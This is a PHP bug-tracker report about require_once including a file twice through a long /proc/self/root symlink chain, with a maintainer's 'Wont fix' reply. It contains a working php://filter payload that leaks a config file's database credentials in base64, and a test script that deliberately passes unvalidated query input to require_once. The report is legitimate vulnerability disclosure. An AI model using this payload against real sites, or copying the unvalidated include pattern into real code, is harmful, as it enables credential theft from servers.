php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #79980 require_once can include a file twice via symlink loops
Submitted: 2020-08-16 05:18 UTC Modified: 2021-03-09 14:26 UTC
Votes:4
Avg. Score:4.0 ± 1.0
Reproduced:1 of 3 (33.3%)
Same Version:0 (0.0%)
Same OS:0 (0.0%)
From: i at littlefisher dot me Assigned: cmb (profile)
Status: Wont fix Package: *Directory/Filesystem functions
PHP Version: 7.2.33 OS: Ubuntu18.04
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: i at littlefisher dot me
New email:
PHP Version: OS:

 

 [2020-08-16 05:18 UTC] i at littlefisher dot me
Description:
------------
Normally, when we include a file via `require_once()` which has included before, PHP will prevent this behavior.

But when we set the file path to a symbol link, PHP will be fooled. An example in Test script as follows can demonstrate it. And assume there is some secret in `config.php`.

We can pass our payload to `content` query parameter, and then the PHP will resolve the file path to '/proc/24273/root/proc/self/root/var/www/html/config.php'.

Eventually, the `require_once` bypassed. We got the base64-encoded content of `config.php`.

Payload:

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/config.php

Test script:
---------------
/* index.php */
<?php
error_reporting(E_ALL);
require_once('config.php');
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    require_once($content);
} 
/* config.php */
<?php
$MYSQL_HOST = '127.0.0.1';
$MYSQL_PORT = 3306;
$MYSQL_USERNAME = 'admin';
$MYSQL_PASSWORD = 'admin';

Expected result:
----------------
Excepted result is `config.php` cannot be included twice by the recursive symbollink.


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2021-03-09 14:26 UTC] cmb@php.net
-Status: Open +Status: Wont fix -Assigned To: +Assigned To: cmb
 [2021-03-09 14:26 UTC] cmb@php.net
Whenever a path is resolved, symlinks are followed up to LINK_MAX
(currently 32) to avoid infinite loops.  If this limit is exceeded
(as is obviously the case here), the path resolution fails, so
require_once actually works like require.

However, passing unvalidated user input to require/include (or
any other function which accepts stream wrapper URLs) is a *serious*
programming error.  Thus, no action is needed from us.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Dec 21 17:01:58 2024 UTC